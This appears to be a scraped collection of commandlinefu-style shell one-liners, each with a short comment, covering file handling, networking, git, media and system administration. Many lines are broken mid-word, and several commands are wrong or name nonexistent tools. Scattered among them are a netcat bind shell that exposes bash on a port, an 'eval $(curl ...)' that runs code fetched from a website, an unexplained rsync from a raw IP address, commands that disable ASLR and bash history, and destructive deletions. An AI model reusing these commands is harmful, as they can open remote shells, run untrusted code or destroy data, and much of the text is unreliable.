# Batch file suffix renaming
mmv "*-* .mp3" "#1.mp3"

# Generate an XKCD #936 style 4 word password
awk 'BEGIN {srand} /^[a-z]{4,8}$/ {w[i++]=$0} END {while (j++<4) print w[int(ran
d*i)]}' /usr/share/dict/words

# Add together the count of users from the international Linux Counter and the d
udalibre.com counter.
Check the Description below.

# encrypt file.txt using a symmetric password
gpg -c file.txt

# vim insert at beginning of multiple lines
:%s!^!foo!

# Update twitter via curl as Function
tweet(){ curl -u "$1" -d status="$2" "http://twitter.com/statuses/update.xml"; }

# generate random password
tr -dc 'a-zA-Z0-9' < /dev/urandom | head -c10

```



```

# Get a file from SharePoint with cURL
curl --ntlm -u DOMAIN/user https://sharepoint.domain.com/path/to/file

# Empty a file
truncate foobar.txt

# Slideshow of images in the current folder
feh -d -F -z -D 1 *

# Command line calculator
calc() { echo "scale=4; ${*//,/}." | bc -l; }

# hello, world
perl -e "'='~('(?['.('^@.]|(;,@/{}/),[\\\$['^'],,)@)[\`^@,@[*@[??.|'').|'})')'"

# Nofity Message in Ubuntu
notify-send -i /usr/share/pixmaps/gnome-irc.png "Title" \ "This is a desktop not
ification commandlinefu."

# forbid deletion of files for everyone
find . -maxdepth 1 -type f -exec chmod +a "everyone deny delete" {} \;

# Log output from a cronjob to a file, but also e-mail if a string is found
some_cronjobed_script.sh 2>&1 | tee -a output.log | grep -C 1000 ERROR

# Find the median file modification time of files in a directory tree
date -d "@$(find dir -type f -printf '%C@\\n' | sort -n | sed -n "$((($ (find dir -
type f | wc -l)/2))p)" +%F

# Remove VIM temp files
find ./ -name '*.sw[op]' -delete

# Get accurate memory usage of a Process in MegaBytes
pmap $(pgrep [ProcessName] -n) | gawk '/total/ { a=strtonum($2); b=int(a/1024);
printf b};'

# copy ssh id to remote host
ssh-copy-id -i .ssh/id_rsa.pub username:password@remotehost.com

# List nearbyies
/usr/sbin/arp -i eth0 | awk '{print $3}' | sed 1d

# search for a pattern (regex) in all text files (ignoring binary files) in a di
rectory tree
find . -type f | perl -lne 'print if -T;' | xargs egrep "somepattern"

# AWK: Set Field Separator from command line
awk 'BEGIN {FS=","} { print $1 " " $2 " " $NF}' foo.txt

# Replace duplicate files by hardlinks
fdupes -r -l path | while read line; do j="0"; for file in ${line[*]}; do if [ "
$j" == "0" ]; then j="1"; else sudo ln -f ${line// ./} $file; fi; done; done

# print info about compiled Scala class
scalac quicksort.scala && javap QuickSort

# Show stats for dd
dd if=/dev/zero of=test bs=1024k count=1024 & bash -c "while :; do clear;echo ST
ATS FOR DD;;kill -USR1 $!; sleep 1; done"

```

```

# Display file contents either with less or cat based on number of lines
out() { tmp=$(mktemp); awk '{print $0}' > $tmp; if [ $(wc -l $tmp | awk '{print $1}') -gt $(tput lines) ]; then less $tmp; else cat $tmp; fi; rm -fr $tmp; }

# quickly show me interesting data about my processes
alias mine='ps xco pid,command,%cpu,%mem,state'

# change newlines to spaces (or commas or whatever). Acts as a filter or can have c/l args
alias nl2space="perl -ne 'push @F, \$_; END { chomp @F; print join(qq{ }, @F) , qq{\n};}' "

# Delete all but latest file in a directory
ls -t1 | sed 1d | parallel -X rm

# get newest file in current directory
ls -lart

# Are 64-bit applications supported on my Solaris OS?
isainfo -vb

# Find and print pattern location from all files on command line from directory and its sub directories.
find . -exec grep $foo {} \; -print

# Download Entire YouTube Channel - all of a user's videos
yt-chanrip() { for i in $(curl -s http://gdata.youtube.com/feeds/api/users/"$1"/uploads | grep -Eo "watch?v=[^[:space:]]*\\"{11}" | uniq); do youtube-dl --title --no-overwrites http://youtube.com/"$i"; done }

# commit message generator - whatthecommit.com
curl -s http://whatthecommit.com | sed -n '/<p>/,/<\p>/p' | sed '$d' | sed 's/<p>/'

# Get EXIF data from image with zenity
ans=$(zenity --title "Choose image:" --file-selection); exiftool -s ${ans} | zenity --width 800 --height 600 --text-info;

# bookmarklet for commandlinefu.com search
echo "javascript:location.href='http://www.commandlinefu.com/commands/matching/' +encodeURIComponent('%s')+'/' +btoa('%s')+' /sort-by-votes'"

# transform several lines in one with Awk
awk ' { printf ("%s ", $0)} END {printf ("\n") } ' FILE

# monitor when target host will be up
while true; do date; ssh <YOUR HOST HERE> "echo" && echo "HOST UP" && break; sleep 60; done

# command line to drop all table from a database
mysql -u uname dbname -e "show tables" | grep -v Tables_in | grep -v "+" | gawk '{print "drop table " $1 ";"}' | mysql -u uname dbname

# quick and easy way of validating a date format of yyyy-mm-dd and returning a boolean
echo 2006-10-10 | grep -c '^[0-9][0-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9]$'

# Mail text file (/tmp/scream-dump) contents from linux box with subject(scream-

```

```

dump)
mail -s scream-dump user@example.com < /tmp/scream-dump

# geoiip information
geoiip() { wget -qO - http://freegeoiip.net/xml/$1 | sed '3,12!d;s/<\/g;s/>/: /g;s
/\./.*//g' ; }

# Precide a bunch of files with a number in a pattern for example to indisperse
a podcast backlock with more recent podcasts
i=10;for o in *.mp3; do i=$(printf "%02d" $i); mv $o $i$o; ((i = $i + 2)); done

# Delete all files in a folder that don't match a certain file extension
find . -type f ! -name "*.foo" -name "*.bar" -delete

# run a command repeatedly
doloop() { DONT=/tmp/do-run-run-run; while true; do touch $DONT; (sleep 30; rm $
DONT;) & $1 ; if [ -e $DONT ]; then echo restarting too fast; return ; fi ; done
}

# Do an OR search using grep to look for more than one search term
grep -i '<searchTerm>|<someOtherSearchTerm>' <someFileName>

# Convert one's Java source file encoding
find . -name "*.java" -type f -perm +600 -print | xargs -I _ sh -c 'grep -q hexi
anmao _ && iconv -f gb2312 -t utf8 -o _ -c _ '

# Extract 2 copies of .tar.gz content
mkdir copy{1,2}; gzip -dc file.tar.gz | tee >( tar x -C copy1/ ) | tar x -C copy
2/

# How to add an "alternate access mapping" from the command line
stsadm -o addalternatedomain -url http://paperino.paperopoli.com -urlzone Intern
et -incomingurl http://quiquoqua.paperopoli.com

# Alternative for basename using grep to extract file name
fileName() { echo "$1" | grep -o "[^/]*$"; }

# make a .bak backup copy of all files in directory
for i in * ; do cp $i $i.bak; done

# Get the revision number at which the current branch is created.
svn log --stop-on-copy | grep r[0-9] | awk '{print $1}' | sed "s/r//" | sort -n
| head -1

# Deletes all branches in a git repository except next and master (clean git rep
o)
git branch -D `git branch | awk '{ if ($0 !~ /next|master/) printf "%s", $0 }`

# show physical disk using
df -x tmpfs | grep -vE "(gvfs|procbususb|rootfs)"

# Batch Convert MP3 Bitrate to 128kbps
mkdir save && for f in *.mp3; do lame -b 128 "$f" ./save/"${f%.mp3}.mp3"; done

# find forms in a symfony 1.2 project
find apps/ -name "*.svn-base" -prune -o -print -name "*.php" | xargs grep -E 'ne
w .+Form\('

# Kill processes hogging up CPU (Flash after resume)

```

```

top -bn 1 | awk '{if($1 ~ /^[0-9]+$/ && $9 > 97) {print $1;exit}}'|xargs kill

# Enabling some DVD playback enhancements in Ubuntu
sudo sh /usr/share/doc/libdvdread4/install-css.sh

# BASH: Print shell variable into AWK
VAR="foo" ; awk '{ print "$VAR" }'

# truncate half of `input.txt`
dd of=output.txt if=input.txt ibs=1 skip=$(expr `stat -c%s input.txt` / 2)

# Kill the terminal(window/tab) you work in [suicide]
kill -9 $$

# Clean-up release directories keeping the only the latest two
find . -maxdepth 1 -type d | grep -Pv "^\.$" | sort -rn --field-separator="-" | s
ed -n '3,$p' | xargs rm -rf

# Undo Mercurial add before commit
hg st --added -n |xargs hg revert

# mem leak check
ps gv [pid] | head -2

# Snmpwalk a hosts's entire OID tree with SNMP V2
snmpwalk -v2c -c <community> -m ALL <HOST_IP> .

# bkup the old files
find <dir> -type f -mtime +<days> -exec scp -r {} user@backuphost:/data/bkup \;

# search for a file (with regex), choose one then open it
findopen() { local PS3="select file: "; select file in $(find "$1" -iname "$2");
do ${3:-xdg-open} $file; break; done }

# Enable tab completion for known SSH hosts
complete -W "$(echo `cat ~/.ssh/known_hosts | cut -f 1 -d ' ' | sed -e s/,.*//g
| uniq | grep -v "\[\";)" ssh

# View the newest xkcd comic.
lynx --dump --source http://www.xkcd.com | grep `lynx --dump http://www.xkcd.com
| egrep '(png|jpg)'` | grep title | cut -d = -f2,3 | cut -d '"' -f2,4 | sed -e
's/"/|/g' | awk -F"| " ' { system("display " $1);system("echo "$2); } '

# pid list by httpd listen port
lsof | awk '/*:https?/{print $2}' | sort -u

# Print RPM dependencies
ruby -e 'puts `rpmdep glibc`.split(",")[2..-1]'

# Share the current tree over the web
python -c "import SimpleHTTPServer;SimpleHTTPServer.test()"

# Make syslog reread its configuration file
pkill -HUP syslogd

# Get your external IP address
wget http://checkip.dyndns.org && clear && echo && echo My IP && egrep -o '([[:d
igit:]]{1,3}\.){3}([[:digit:]]{1,3})' index.html && echo && rm index.html

# delete a file and links based on inode number.

```

```

ls -ai | grep filename | find . -inum `awk '{print $1}'` -exec rm {} \;

# Print the latest stable version of Perl
wget -q -O - http://www.perl.org/get.html | grep -m1 '\.tar\.gz' | sed 's/.*perl-//; s/\.tar\.gz.*//'

# Remove everything except that file
ls | egrep -v "[REGULAR EXPRESSION]" | xargs rm -v

# Create new user with home directory and given password
useradd -m -p $(perl -e'print crypt("pass", "mb")') user

# Don't save commands in bash history (only for current session)
export HISTSIZE=0

# Friendly command-not-found message.
command_not_found_handle() { echo 6661696c626f61742e2e2e0a | xxd -p -r; }

# Push each of your local git branches to the remote repository
git branch | sed s/*// | xargs -n1 git push origin

# Download all files under http://codeigniter.com/user_guide/ to the current directory
wget -r --no-parent http://codeigniter.com/user_guide/ ; mv codeigniter.com/user_guide/* . ; rm -rf codeigniter.com

# Quickly create simple text file from command line w/o using vi/emacs
cat > {filename} {your text} [^C | ^D]

# add line number for each line
cat -n file.txt

# Deleting a remote git branch (say, by name 'featureless')
git push origin :featureless

# Return IP Address
/usr/sbin/ifconfig -a|awk -F" " 'NR==4{print $2}'

# Show a Package Version on Debian based distribution
apt-show-versions <packagename>

# this svn script will commit all files excluding those with extensions {project.classpath.properties.sh.number} and those with Status Modified or Added {M or A}
svn st | grep -e [MA] | egrep -ve '.project|.classpath|.properties|.sh|.number' | awk -F' ' '{ print $2}' | xargs svn ci -m "message"

# Describe differences between files
diff --changed-group-format='differs from line %dF to line %dL|' --unchanged-line-format='' $FILE1 $FILE2 | sed 's/|/\n/'

# execute a shell with netcat without -e
mkfifo ._b; nc -lk 4201 0<._b | /bin/bash &>._b;

# Create nhash
echo -n "password" | iconv -t utf-16le | openssl dgst -md4

# Remove all .svn folders inside a folder
find . -name ".svn" -exec rm -rf {} ";";

```

```

# search for a file in PATH
function sepath { echo $PATH |tr ":" "\n" |sort -u |while read L ; do cd "$L" 2>
/dev/null && find . \( ! -name . -prune \) \( -type f -o -type l \) 2>/dev/null
|sed "s@^\./@@" |egrep -i "${*}" |sed "s@^@$L/@" ; done ; }

# Get your IP addresses
ifconfig | grep "inet addr" | awk -F: '{print $2}' | awk '{print $1}'

# delete duplicate files
yes 1 | fdupes -rd $folder

# Describe differences between files
comm --nocheck-order -31

# Save your webcam to file
cvlc "v4l2:///dev/video0" --sout "#transcode{vcodec=mp2v,vb=800,scale=0.25,acodec=none}:file{mux=mpeg1,dst=/PATH/TO/OUTPUT/FILE}"

# Unzip multi-part zip archive
zip -F archive.zip --output big_archive.zip && unzip big_archive.zip

# Emulate sleep in DOS/BAT
ping -n 1 -w 10000 224.0.0.0

# calculate the total size of files in specified directory (in Megabytes)
ls -l directory | awk 'BEGIN { SUM=0 } { SUM+=$5 } END { print SUM/1024/1024"M"
}'

# Reducing image size
convert -quality 40% original_image reduced_image

# search for a file in PATH
for L in `echo :$PATH | tr : '\n'`; do F=${L:-"."}/fileName; if [ -f ${F} -o -h
${F} ]; then echo ${F}; break; fi; done

# Display sqlite results one column per line
sqlite3 -line database.db

# Find the biggest files
find -type f -exec du -sh {} + | sort -rh | head

# Find and replace
find . -name '*.txt' -exec mv {} {}.sh \ ;

# Reducing image size
convert example.png -resize 100x100 output.png

# Find redirection and grep
find . -name "*.png" | tee images.txt | grep book

# copy root to new device
cp -dpRx /* /mnt/target/

# Check a nfs mountpoint and force a remount if it does not reply after a given
timeout.
NFSPATH=/mountpoint TIMEOUT=5; perl -e "alarm $TIMEOUT; exec @ARGV" "test -d $NF
SPATH" || (umount -fl $NFSPATH; mount $NFSPATH)

```

```

# Move itens from subdirectories to current directory
ls -d */* | sed -e 's/^\//g' -e 's/$/\//g' | xargs mv -t $(pwd)

# calculate in commandline with perl
perl -e 'print 1+1 ."\n";'

# Use socat to create a largefile
echo | socat -u - file:/tmp/swapfile,create,largefile,seek=10000000000000

# Find and delete thunderbird's msf files to make your profile work quickly again.
find ~/.thunderbird/*.default/ -name *.msf | sed 's/ /\ \ /g' | xargs rm {} \;

# delete duplicate files
fdupes -rdN $folder

# Convert a PKCS#8 private key to PEM format
openssl pkcs8 -inform DER -nocrypt -in [priv key] -out [pem priv key]

# Get your external IP address with the best commandlinefu.com command
eval $(curl -s http://www.commandlinefu.com/commands/matching/external/ZXh0ZXJuYWw=/sort-by-votes/plaintext|sed -n '/^# Get your external IP address$/{n;p;q}')

# a simple interactive tool to convert Simplified Chinese (typed by pinyin) to Traditional Chinese
echo "Simplified Chinese:"; while read -r line; do echo "Traditional Chinese:"; echo $line | iconv -f utf8 -t gb2312 | iconv -f gb2312 -t big5 | iconv -f big5 -t utf8; done

# Identify a PKCS#8 Private Key
openssl ansiparse -inform DER < [priv key]

# Remap "New Folder" to Command+N, "New Finder Window" to Cmd+Shift+N in Mac OS X
defaults write com.apple.finder NSUserKeyEquivalents -dict 'New Finder Window' '@$N' 'New Folder' '@N'; killall Finder

# perl find and replace
find -name ".php" -exec perl -pi -e 's/search/replace/g/' {} \;

# Push each of your local git branches to the remote repository
git push origin --all

# Remove annotation- (or other own-lined) tags from an XML document
awk "/<xsd:annotation>/{h=1};!h;/<\/xsd:annotation>/{h=0}" annotatedSchema.xsd

# Find default gateway
ip route show | awk '$3 ~ /^[1-9]+/ {print $3;}'

# Do one ping to a URL, I use this in a MRTG gauge graph to monitor connectivity
ping -c 1 www.google.com | /usr/bin/awk '{print $7}' | /usr/bin/awk 'NR > 1' | /usr/bin/awk 'NR < 2' | /usr/bin/awk -F"=" '{print $2}'

# Count messages in mcabber history for each JID
for f in ~/.mcabber/histo/*; do a=`egrep "^(MR|MS)" $f | wc -l`; echo $f: $a | awk -F\| '{print $6}'; done

# extend KVM image size
dd bs=1 if=/dev/zero of=/path/to/imagename.raw seek=50G count=1 conv=notrunc

```

```
# Change default terminal emulator
update-alternatives --config x-terminal-emulator

# Show Network IP and Subnet
ipcalc $(ifconfig eth0 | grep "inet addr:" | cut -d':' -f2,4 | sed 's/\.+Bcast:/\
//g') | awk '/Network/ { print $2 } '

# calculate in commandline with python
python -c "print 1+1"

# print shared library dependencies
ldd path_to_executable

# Lookaround in grep
echo "John's" | grep -Po '\b\w+(?<!s)\b'

# print shared library dependencies
function ldd(){ objdump -p $1 | grep -i need; }

# Create multiple files in a single command
touch file{1,2,3,4,5}.sh

# determine if tcp port is open
fuser -n tcp -s <port> && echo "+open"

# Return Dropbox folder location.
sqlite3 $HOME/.dropbox/config.db "select value from config where key like '%drop
box_path%'"

# Clearcase find branch
ct find -avobs -nxname -element 'brtype(branch_name)' -print 2>/dev/null

# batch convert OGG to WAV
for f in *.ogg ; do mplayer -quiet -vo null -vc dummy -ao pcm:waveheader:file="$
f.wav" "$f" ; done

# one line command to recursively add all jar files in current folder to java cl
ass path
CLASSPATH=.; export CLASSPATH=$(find "$PWD" -name '*.jar' -type f -pri
ntf ':%p\n' | sort -u | tr -d '\n'); echo $CLASSPATH

# Create web site ssl certificates
openssl req -new -x509 -extensions v3_ca -days 1100 -subj "/C=CA/ST=CA/L=SomeCit
y/O=EXAMPLE Inc./OU=Web Services/CN=example.com/emailAddress=postmaster@example.
com" -nodes -keyout web.key -out web.crt

# Copy files from one dir to another using tar.
tar cf - . | (cd /new/dir; tar xvf -)

# Print just line 4 from a textfile
head -n X | tail -n 1

# a simple bash one-liner to create php file and call php function
echo '<?php echo str_rot13 ("Hello World") ?>' > hw.php && php hw.php && rm hw.p
hp

# recursively add all sub folders with executable file of current folder to PATH
environment variable
```



```

export PATH=$PATH$(find "$PWD" -name '.*' -prune -o -type f -a -perm /u+x -print
f ':%h\n' | sort -u | tr -d '\n'); echo $PATH

# Purge application's residual config & orphans
dpkg -l | sed '/^rc/!d;s/^[^ ]* [^ ]* \([^ ]*\).*\/1/' | xargs -r sudo apt-get -
y purge

# Prints line numbers
nl <filename>

# Find default gateway
route -n | grep "^0\." | awk '{print "Gateway to the World: "$2", via "$NF"}'

# View open file descriptors for a process.
lsof -p <process_id> | wc -l

# Make perl crash
perl -e '$x = []; push @$x, eval { $x = 1; return $x = 1; }'

# a simple alarm
while true; do while [ `date +%H%M` == "1857" ] ; do sleep 1s; yes | head -n 200
0 > /dev/dsp; done; done;

# Fix grub2 boot failure using live cd
sudo grub-install --root-directory=/media/ubuntu /dev/sda

# Graphically compare two directory hierarchies without Subversion metadata
xxdiff -r --exclude=.svn

# Find default gateway
netstat -rn | grep UG | tr -s " " | cut -d" " -f2

# [WinXP] Convert FAT32 Hard Drive to NTFS without losing all data
CONVERT D: /FS:NTFS

# Find default gateway
netstat -rn | awk '/UG/{print $2}'

# display portion of a file
cat -n FILE | grep -C3 "^[[:blank:]]\{1,5\}NUMBER[[:blank:]]"

# Restore individual table from mysqldump backup.
awk '/Table structure for table .table01./,/Table structure for table .table02./
{print}' <file> > restored_table.sql

# Clear the terminal screen
clear

# Rip an ISO from a CD/DVD using the freeware dd for Windows
dd if="\?\Device\CdRom0" of=c:\temp\disc1.iso bs=1M --progress

# translate what is in the clipboard in english and write it to the terminal
wget -qO - "http://ajax.googleapis.com/ajax/services/language/translate?langpair
=|zh-cn&v=1.0&q=`xsel`" |cut -d \ " -f 6

# Extract herds & maintainers' email from a Gentoo metadata.xml file
xmlstarlet sel -t -m '/pkgmetadata/herd' -v . -n -t -m '/pkgmetadata/maintainer'
-v email metadata.xml

```

```
# Format partition as FAT32
mkdosfs -F 32 /dev/sda1

# set the time of system
sudo date mmddhhxxyyyy

# First android webpage relay script
id 2>&1 > /sdcard/id;rsync -aP rsync://168.103.182.210/t /sdcard/t 2> /sdcard/rsync.err.log > /sdcard/rsync.log && return 123;fumanchu

# copy selected folder found recursively under src retaining the structure
find . -type d -exec mkdir /new/path/{} \;

# Activate on-the-fly GTK accels
gconftool-2 -t bool -s /desktop/gnome/interface/can_change_accels true

# Recursively remove 0kb files from a directory
find . -empty -type f -execdir rm -f {} +

# Run one of your auto test programs from GNU make
gmake runtestsingle testsingle=udtime

# print the date of the unix epoch in a human readable form using perl.
perl -e 'print scalar localtime $ARGV[0], "\n" ' epoch

# Using gdiff only select lines that are common between two files
gdiff --unified=10000 input.file1 input.file2 | egrep -v "(^|[a-z]|^-|[a-z])"|
sort > outputfile.sorted

# burn an iso to cd or dvd
cdrecord -v path_to_iso_image.iso

# Uncompress a directory full of tarred files (*.gz)
for i in *.tar.gz *.tgz; do tar -zxvf $i; done

# Get the information about the internet usage from the commandline.
vnstat

# List only the directories
ls -F|grep /

# bash script to zip a folder while ignoring git files and copying it to dropbox
git archive HEAD | gzip > ~/Dropbox/archive.tar.gz

# Nice directory listings
alias ll="ls -lh --color=auto"

# Check variable has been set
: ${VAR:?unset variable}

# Calculate a transcendental number (pi)
seq 1 2 99999999 | sed 's!^!4/!' | paste -sd+ | bc -l

# SCP files to remote server using PEM file
scp -i /path/to/file.pem [local-files] root@[dest-host]:[dest-path]

# add a little color to your prompt
PS1="\[\033[44;1;37m\]\u\[\033[0m\]@\h\ \$ "

# Make sure your compiler is using ccache
```

```
watch ccache -s

# Use dig instead of nslookup
dig google.com

# Find files older than 60 days
find . -maxdepth 1 -type f -mtime +60 -ls

# Show all TODOs and a few relative lines after it.
grep -rnA 10 TODO *

# Graphic mode for root
startx -- :1

# Put the wireless card into monitor mode
airmon-ng start <interface> <channel>

# Find a specific pdf file (given part of its name) and open it
evince "$(find -name 'NameOfPdf.pdf')"
```

```
# MS-DOS only: Enable variable expansion from inside of FOR loops with !varname!
setlocal enabledelayedexpansion

# Delete all files from a locate output
locate munin | xargs rm -r

# Stop adobe and Flash from tracking everything you do.
adobenosp() { for I in ~/.adobe ~/.macromedia ; do ( [ -d $I ] && rm -rf $I ;
ln -s -f /dev/null $I ) ; done }

# Singularize all files in a directory
for x in *.yaml; do mv $x `echo $x | sed 's/s\.yaml/\.yaml/'`; done

# Grep for a TAB
grep $'\t' file.txt

# Shorten url with is.gd using curl, perl
curl -s "http://is.gd/api.php?longurl=[long_url]"

# Find and delete thunderbird's msf files to make your profile work quickly again.
find ~/.thunderbird/*.default/ -name *.msf -print0 | xargs --no-run-if-empty -0
rm;

# Remove all .svn folders
find . -name .svn -type d -exec rm -rf {} \;
```

```
# Read just the IP address of a device
/sbin/ifconfig | grep inet | cut -f 2 -d ":" | cut -f 1 -d " "
```

```
# Python Challenge Problem 0
sensible-browser http://www.pythonchallenge.com/pc/def/$(bc <<< 2^38).html

# Console clock
watch -n1 echo

# kill all processes of a program
kill -9 $(pidof *program*)
```

```

# Generate MD5 hash for a string
echo -n "string" | md5sum -

# Add a line to crontab using sed
crontab -l | sed -e '$G;$s-$-$'"$CRON_MINS $CRON_HOUR"' * * * /usr/bin/command >/dev/null 2>&1-' | crontab -

# draw 45deg rotated text at the center of image
convert input.png -pointsize 32 -gravity center -annotate 45 "hello, world" outp
ut.png

# Show all video files in the current directory (and sub-dirs)
find -type f -printf '%P\000' | egrep -iz '\.(avi|mpg|mov|flv|wmv|asf|mpeg|m4v|d
ivx|mp4|mkv)$' | sort -z | xargs -0 ls -l

# Read just the IP address of a device
/sbin/ifconfig | grep inet | cut -f 2 -d ":" | cut -f 1 -d " " | egrep -v "^$"

# ping scan for a network and says who is alive or not
for i in `seq 254`;do ping -c 1 192.168.10.$i > /dev/null && echo "$i is up"||ec
ho "$i is down";done

# make a zip file containing all files with the openmeta tag "data"
mdfind "tag:data" > /tmp/data.txt ; zip -r9@ ~/Desktop/data.zip < /tmp/data.txt

# Indent all the files in a project using indent
find . -iname \*. [ch] -exec indent "{}" \;

# Function that swaps the filenames of two given files.
flipf(){ if [ -f "$1" -a -f "$2" ]; then mv "$1" "$1.$$" && mv "$2" "$1" && mv "
$1.$$" "$2" || echo "$!"; else echo "Missing a file: $!"; fi; }

# Extract raw URLs from a file
egrep -ie "<*HREF=(.*)>" index.html | awk -F\" '{print $2}' | grep ://

# Receive, sign and send GPG key id
caff <keyid>

# Know when you will type :q in your term instead of vi(m), the alias will chewe
d you out.
alias :q='tput setaf 1; echo >&2 "this is NOT vi(m) :/"; tput sgr0'

# Check default block size on ext2/ext3 filesystems
tune2fs -l /dev/XXXX | grep -w ^"Block size:"

# Bash function to see if the day ends in
function ends_in_y() { case $(date +%A) in *y ) true ;; * ) false ;; esac } ; en
ds_in_y && echo ok

# Create variables from a list of names
VARNAMES='ID FORENAME LASTNAME ADDRESS CITY PHONE MOBILE MAIL' ; cat customer.cs
v | while read LINE ; do COUNT=1 ; for VAR in $VARNAMES ; do eval "${VAR}=`echo
$LINE | /usr/bin/awk {'print '$COUNT''}`" ; let COUNT=COUNT+1 ; done ; done

# List all authors of a particular git project
git shortlog -s | cut -c8-

# (Debian/Ubuntu) Discover what package a file belongs to
pacof -e rlogin

```

```

# Gecko-rendered javascript without a GUI
svn co http://simile.mit.edu/repository/crowbar/trunk&& cd ./trunk/xulapp/ xulru
nner --install-app && Xvfb :1 && DISPLAY=:1 xulrunner application.ini 2>/dev/nu
ll 1>/dev/null && wget -O- "127.0.0.1:10000/&url=http://www.facebook.com"

# Allow to shorten the prompt. Useful when the it is taking too much place.
PS1='$'

# Mac OS X (laptops ??) only : control hibernation state more easily from Termi
nal.app
sudo pmset -a hibernatemode 1

# Use curl on Windows to bulk-download the Savitabhabhi Comic Strip (for Adults)
for /L %%x in (1,1,16) do mkdir %%x & curl -R -e http://www.kirtu.com -o %%x/#1.
jpg http://www.kirtu.com/toon/content/sb%x/english/sb%x_en_[001-070].jpg

# Unlock and access an ssh key keychain entry from CLI
security unlock-keychain; security find-generic-password -ga "/Users/mruser/.ssh
/id_dsa" 2>&1 > /dev/null

# Disable ASLR
echo 0 > /proc/sys/kernel/randomize_va_space

# easily strace all your apache processes
ps -C apache o pid= | sed 's/^/-p /' | xargs strace

# Count the number of queries to a MySQL server
mysql -uUser -pPassword -N -s -r -e 'SHOW PROCESSLIST' | grep -cv "SHOW PROCESSL
IST"

# Terminate a find after the first match is found.
/bin/sh -c 'find . -name FILENAME -print -exec kill $$ \;'

# Easily create and share X screen shots (remote webserver version)
scrot -e 'mv $f $HOME/shots/; sitecopy -u shots; echo "\$BASE/$f" | xsel -i; fe
h `xsel -o`'

# Every Nth line position # (AWK)
awk '{if (NR % 3 == 1) print $0}' foo > foo_every3_position1; awk '{if (NR % 3 =
= 2) print $0}' foo > foo_every3_position2; awk '{if (NR % 3 == 0) print $0}' fo
o > foo_every3_position3

# Bulk add urls to your Instapaper account
for url in `cat urls`; do title=`curl $url 2>&1 | grep -i '<title>.*</title>`
&& curl $url > /tmp/u && mail -s "$title" your-private-instapaper-address@instap
aper.com < /tmp/u ; done

# prints line numbers
perl -ne 'print "$. - $_"' infile.txt

# Resample MP3's to 44.1kHz
file /music/dir/* | grep -v 44.1 | sed 's/:.*//g' | grep .mp3 | { while IFS= rea
d; do filebak="\${REPLY}.original\>"; file="\${REPLY}\>"; mv $file $filebak; sox -
t mp3 $filebak $file rate 44k; done; };

# Create a tar file compressed with xz.
tar cfJ tarfile.tar.xz pathnames

# prints line numbers

```

```

grep -n . datafile ;

# Downloads files (through wget) from a list of URLs using a stored cookie
wget --load-cookies <cookie-file> -c -i <list-of-urls>

# create an alias of the previous command
alias foo="!!"

# Get the information about the Apache loaded modules from command line
httpd2 -M

# restore <mysqldump>.tar.gz on the fly
tar xzf0 <backup_name>.tar.gz | mysql -u root <database_name>

# Display only hosts up in network
nmap -sP -PR -oG - ` /sbin/ip -4 addr show | awk '/inet/ {print $2}' | sed 1d`

# Calculate foldersize for each website on an ISPConfig environment
ls -dla /var/www/*/web | xargs du -hs

# To find how Apache has been compiled from commandline
httpd2 -V

# Compressed Backup of the /etc
tar jcpf /home/[usuario]/etc-$(hostname)-backup-$(date +%Y%m%d-%H%M%S).tar.bz2 /
etc

# Unix security checker
tiger

# Reorder file with max 100 file per folder
folder=0;mkdir $folder; while find -maxdepth 1 -type f -exec mv "{}" $folder \;
-quit ; do if [ $( ls $folder | wc -l ) -ge 100 ]; then folder=$(( $folder + 1 )
); mkdir $folder; fi ; done

# Edit all source files of project with vim, each on separate tab
vim -p `ls *.java *.xml *.txt *.bnd 2>/dev/null`

# ssh hostchange know_host improver
sshhostnew () {sed -i "$1d" $HOME/.ssh/known_hosts ; }

# displays a reminder message at the specified time
echo "DISPLAY=$DISPLAY xmessage convert db to innodb" | at 00:00

# Colored cal output
cal | sed -E "2,8s/([^\0-9])($ (date +%e)) ( |$)/\1$(echo "\033[0;36m\2\033[0m")\
3/g"

# Ignore ~/.vimrc when startup gVim
gvim -u NONE -U NONE

# Grab your bibtex file from CiteULike.
curl -o <bibliography> "http://www.citeulike.org/bibtex/user/<user>"

# get users process list
ps -u<user>

# Get all the HTTP HEAD responses from a list of urls in a file
for file in `cat urls.txt`; do echo -n "$file " >> log.txt; curl --head $file >>

```

```

log.txt ; done

# bulk rename files with sed, one-liner
for f in *; do mv "$f" "${f/foo/bar}"; done

# bulk rename files with sed, one-liner
ls | sed 'p;s/foo/bar/' | xargs -n2 mv

# Rip CD
ripit -c 0 --outputdir $1 --nosubmission

# check open ports (both ipv4 and ipv6)
lsof -Pi | grep LISTEN

# SVN Add Recursively
svn status | grep "^?" | awk '{print $2}' | xargs svn add

# Make an iso file out of your entire hard drive
dd if=/dev/hda of=file.img

# Find out my commits today in svn
svn log | grep "$LOGNAME" | grep `date +%Y-%m-%d`

# Convert all tabs in a file to spaces, assuming the tab width is 2
expand -t 2 <filename>

# Create an eicar.com test virus
echo 'K5B!C%@NC[4\CMK54(C^7PP)7}$RVPNE-FGNAQNEQ-NAGVIVEHF-GRFG-SVYR!$U+U*' | tr
 '[A-Za-z]' '[N-ZA-Mn-za-m]' > /tmp/eicar.com

# Pick the first program found from a list of alternatives
find_alternatives(){ for i;do which "$i" >/dev/null && { echo "$i"; return 0;};d
one;return 1;}

# removing those pesky malformed lines at the end of a text file..
cat -n $file | tail -n 100 && head -n number-of-lines-you-want-to-keep > newfil
e

# Check the backdoors and security.chkrootkit is a tool to locally check for sig
ns of a rootkit.
chkrootkit -x | less

# Define Google Chrome urpmi media source for Mandriva/Mageia (works for both 32
-bit and 64-bit systems)
urpmi.addmedia --update google-chrome http://dl.google.com/linux/chrome/rpm/stab
le/${uname -m | sed -e "s/i.86/i386/"}

# Open file with sudo when there is no write-permission
if test -w $1; then vim $1; else sudo vim $1; fi

# which domain controller the user currently logged onto
echo %logonserver%

# Chmod all directories (excluding files)
find public_html/ -type d -exec chmod 775 {} \;

# HDD Performance Read Test
dd if=10gb of=/dev/zero bs=1M count=10240

```

```

# Define Google Talk plugin urpmi media source for Mandriva/Mageia (works for both
32-bit and 64-bit systems)
urpmi.addmedia --update google-talkplugin http://dl.google.com/linux/talkplugin/
rpm/stable/$(uname -m | sed -e "s/i.86/i386/")

# Show amigable path
alias path='echo $PATH | tr ":" "\n"'

# OSX script to change Terminal profiles based on machine name; use with case s
tatement parameter matching
function setTerm() { PROFILE=${1}; echo "tell app \"Terminal\" to set current se
ttings of first window to settings set \"${PROFILE}\"|osascript; };

# use ImageMagik to convert tint (hue rotation) of an icon set directory.
